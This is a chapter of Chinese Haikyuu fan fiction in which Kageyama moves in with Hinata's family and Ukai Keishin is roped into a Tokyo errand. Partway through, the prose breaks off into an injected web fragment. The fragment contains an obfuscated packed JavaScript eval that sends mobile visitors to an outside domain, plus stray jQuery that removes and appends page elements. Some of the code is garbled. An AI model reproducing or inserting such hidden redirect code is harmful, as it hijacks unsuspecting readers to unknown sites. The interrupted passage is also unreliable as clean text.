38.第 38 章

“小夏,这个是影山飞雄。”


日向一脸严肃的站在影山和小夏之间,郑重介绍。


“飞雄!”


小姑娘瞪着滴溜溜圆的眼睛,重复着音节。


“得麻烦你照顾他哦……痛!不要揪我的头啊!”


“谁照顾谁啊笨蛋!”


“什么?”日向惊讶,抱着小夏开始演,“当然是小夏照顾你啊,毕竟平时都是小夏照顾我呢!对吧小夏!”


被哥哥抱在怀里的小姑娘挺胸抬头,“当然!我也会照顾好飞雄的!”


两双如出一辙的圆圆眼睛看着影山。


影山:“……”


拳头硬了。


影山:“……是,请多多指教。”


事情怎么会变成现在这样?


影山思考。


一与爷爷的申请没多久就通过了,转院手续办完就准备动身去东京,日向不请自来帮着打包爷爷的行李,一听说影山家里现在就他自己,爸妈在外地工作,爷爷去东京看病,姐姐去外地读书,眼睛瞪得溜圆,然后一脸担忧,“喂,影山,你不会把自己饿死吧?”


“你找打吗白痴!我当然不会啊!”


“诶——打不着!”猛的一缩躲开了影山的攻击,日向跳起来坐在一与爷爷的行李箱上,说,“我的意思,要不要来我家?”


“?”


然后发生了什么影山已经记不清了,只记得爷爷和日向达成共识,打包爷爷的行李变成了打包爷爷和自己的行李,然后就是和行李箱一起被司机放在了日向的家门口。


“哈哈,”日向放下妹妹,“那就要麻烦小夏帮我们开一下后院的灯啦!”


“是!”小姑娘歪歪扭扭敬了个礼,“交给我吧!”


看着日向夏蹦蹦跳跳往院子里去的身影,日向笑了笑,从自家鞋柜里找了一双新的拖鞋给影山,“我家没有多的房间,所以你估计得和我挤一个房间了。”


“所以都说没必要。”


“我有必要行了吧,”日向头也不回,“你东西都收拾好了?需要我明天和你再去搬一趟吗?”


“我没什么要带的。”影山说。


“唔,也是,”日向想了想,“衣服带了就行……其他我家都有。”


他打了个响指,笑起来,“欢迎来我家!”


这应该是影山第一次去别人的家。


他的朋友不多,刻薄点说的话就是没有,只有排球,他有各种各样的排球,软球、硬球,5号、6号、甚至是7号球,每种都好多个,用过的在用的都被爷爷好好的收在柜子里,从最早在儿童教室到现在用的,都还留着。


它们是他岁月的纪念册。


他打量着日向的家。


日向家就是最普普通通的一户建,门口停着日向的自行车,进门右侧的白板上,爸爸妈妈的下面写着“出差两周”,日向自己的写着“帮影山爷爷收拾东西”,小夏的写着“排球教室”。


“……?”影山一愣,“小夏也打球吗?”


“她在排球教室玩球……反正现在她挺感兴趣的。”日向眨巴眨巴眼睛。


被自家哥哥带着,娱乐项目就是追着排球跑的小夏比上辈子更早的开始接触排球,但是日向并没有更进一步的指导她,他只是把妹妹放进绑在自己自行车后座的儿童座椅上,载着她越过田野去乌养老教练的排球教室玩,比起排球,对小夏来说,排球教室更接近于“和朋友一起玩”,在她没有明确的提出要更进一步之前,日向不会说什么……他做青训教练的时光告诉他,能走的远的,都是自己决定迈出最初那一步的孩子。


哪怕大人能推动着他们走完接下来九十九步,起始的一步,一定得由他们自己迈出才行。


唯有热爱,才能让他们走过职业这条道路未来几十年的艰难。


所以,即使上辈子小夏也是追着哥哥的步子走进国家队,身披一号球衣的王牌,此刻,他也愿意尊重她一切的决定。


“所以之后可能得麻烦你一段时间啦。”


“?”


“音驹那边有点事情,我得去一趟东京,”日向把自己名字下面的字擦掉,然后写上“去取伴手礼”,“音驹的猫又教练和乌野的乌养教练关系很好,猫又教练生病,我去取乌养教练给猫又教练的礼物然后一起带到东京去。”


他在白板上画了一条竖线,画出一个新的竖列,抬头写上“影山”,“所以那段时间就得拜托你照顾一下小夏啦!”


他转过笔,把白板笔递给影山。


“……好。”


影山接过笔,学着日向的样子在自己的名字下写上“部活”。


“很好很好!影山同学这边——”日向推着影山往往房间里走,打开灯,把书包放在一边的椅子上。


日向的房间里也是堆满了东西,除了球还有各种资料,日向一边翻找一边介绍,“唔……我书桌上东西堆太多了……我腾一半给你,然后排球的东西的话我的统一放在那边,我一会儿收一半位置给你……啊!然后资料的话这边是高中的,排球月刊在第三层,职业赛的录像在这个柜子里,初中的资料我不多……这是什么?原来是作业啊,丢掉……然后是衣柜……这边都是不用的被子什么的我一会儿放到储藏室去,你就放这里吧……”


“至于床……”他哐当一声从自己的床底下拉出一截床板,单人床变双人床,“铺一下就行!”


“?你的床为什么还能拉开啊!”


“小夏小时候都是我在带,”日向说,“我睡外面免得她掉下来啊!”


他凑上前揶揄,“需要我睡外面保证你不掉下来吗?影山同学——”


“你找打吗?”


两三步避开了影山的五指山,日向清理柜子,突然掏出来一个软球。


“顺带一提,”日向神秘兮兮的展示,“锵锵!这个是小夏用的第一个球!”


“你什么笨蛋哥哥啊小夏还是别跟你玩了感觉会变笨啊!”


“我才不笨昨天打球谁被我预判到了?!”


影山和日向一个往外搬一个往里塞,很快日向的房间就有了属于影山的一半。


收拾的差不多,影山回头打量着放着资料的柜子的一个展示格,里面是一个奖牌和一张合照,身着黑色队服和红色队服的人们和最中间穿着白t的日向,他问,“那是什么?”


日向抬头看了一眼,“啊……前几年乌野对音驹的时候拍的照,奖牌是那年的县内预选赛的,”他指了指凹下去的那个人,说,“这个是我哥!这边黑色的是乌野的前辈,那边红色的是音驹的前辈……”


哇。


好矮。


果然是一家人啊。


这是影山的第一反应。


“住口。”


“我没说话呢白痴。”


“我直觉你没打算说什么好话所以闭嘴。”


日向面无表情。


他转身摆正照片,鼓了鼓腮帮子,“我哥今年放假不回来……本来还说回来找他一起打球的,他说打工走不开……”


“啊——开灯了,”他看向窗外,“这边是我家的院子,很小,只能随便颠颠球……打球的话我一般去学校或者和小夏去排球教室。”


影山循着灯光看出去,小小的院子里,小夏从椅子上下来,站在院子里冲他们挥手,日向拉开窗户,冲她喊,“谢啦!小夏!爱你!”


日向家很奇怪。


哪怕只有两个人都热闹的能赶上菜市场,日向翔阳一个人能当八百个鸭子,影山在和抱着小夏的日向窝在沙发上一边看比赛一边吵架的时候深刻意识到了这点,等到晚上熄灯躺在床上的时候,影山才突然意识到,自己居然在别人的家里呆得如此顺理成章。


真神奇。


带着


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461383|167300||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


一种不明所以的感觉,影山安然入睡。


然后第二天和日向四仰八叉的醒来。


一把把入睡前在床那头醒来后在床这头的日向推得滚回原位,半挂在床边摇摇欲坠,然后咣当一声掉到床下去,影山打了个哈欠——


然后日常的一天开始。


从抢卫生间到争两个人谁出先门,晨跑一路比谁先跑回家,然后各自带上一份便当出门,影山注意到白板上他的姓后面有不同于前面笔迹写下的假名。


龙飞凤舞的“影山”和歪歪扭扭的“飞雄”。


小夏关上门跑出来,爬上哥哥的后座,日向一边稳住自行车一边跟影山呛声,“我送小夏去排球教室了——别迷路啊路痴山!”


“关心关心你自己吧白痴!”影山回怼他,蹬上车——日向从仓库找出来给他的,听说是他以前的,日向现在的车是他哥给他买的,宝贝的不行。


……日向家兄弟姐妹真多。


而且都有在打球。


影山想。


小夏的声音响亮,“飞雄下午见!”


然后是日向的声音,“听到没!影山!下训之后来排球教室打球啊!”


“啊?哦好……我听到啦白痴!”回头应了小夏,又吼了一声日向,在日向兄妹吵闹的声音里,他骑车朝着学校去。


一路清风。


日向则是载着小夏在乌养老教练的排球教室门口停下,放小夏蹦蹦跳跳的进去找朋友玩——女孩子发育比男孩子早,这个年龄段她力气比同龄男生大,正处于喜欢暴扣的年纪,今天也不知道打算随机扣谁的球。


不管是谁,希望他们没事,阿门。


敬畏的目送大魔王进去祸害别人,随手画了个十字,日向扭头进了房间去拿乌养老教练准备给猫又教练的礼物。


“……?”日向敬畏,“教练?”


“嗯?”乌养一系叼着草叶,懒洋洋的应和他,“来了?”


“这是?”


“伴手礼啊。”


“……我是说边上的那个……”


“哦,”老爷子大手一挥,“那个不重要,一起捎过去吧!”


……那是乌养教练(乌养系心,但五花大绑.ver)啊!!!!!!


很显然对方和他一样震惊,“老头你有病吧!放我回去看店啊!今天要进货的!”


老爷子完全无视了自己亲孙子,正忙着和日向交代,“那家伙的医院地址你有的对吧……”


“喂!”


老爷子摸了摸下巴,“吵什么小子,再吵那你去当教练,正好这小子最近事情多。”


“谁?”乌养系心感觉屁股着火,“当什么教练?我?”


他瞪大眼睛,“老头你没事吧!那可是乌野!人家教练干得好好的我去干嘛?人家带三年年年全国大赛,到我手里给你表演一个菲律宾跳水的时候别怪我没提醒过你啊,你孙子我打球的时候可是板凳vip应援大队长,我去干嘛?端茶倒水?你不如把排球部的后勤给我,这个我熟。”


“没出息的家伙,”老爷子嫌弃,“听好了,要么陪这小子去东京,正好帮他把东西搬到医院去,要么你去乌野当教练,你选一个吧。”


“????”乌养系心试图做最后的挣扎,“喂!日向!你快说说他!老头搞什么飞机呢我去替你当教练???别把你俩心血的排球部砸我手里啊!”


结果一扭头看见日向星星眼看他,改口快得仿佛不是把排球部交到乌养系心手里,而是从乌养系心手里拿红包,声音响亮且清晰,“乌养教练!”


“……………………???????”


他抹了把脸,“我选当搬运工。”


一头黄毛的鬼火青年拎起大包小包的东西,一脸计划通,“我陪这小子去东京行了吧!”


“想把排球部甩给我,”他信誓旦旦,“门都没有啊!”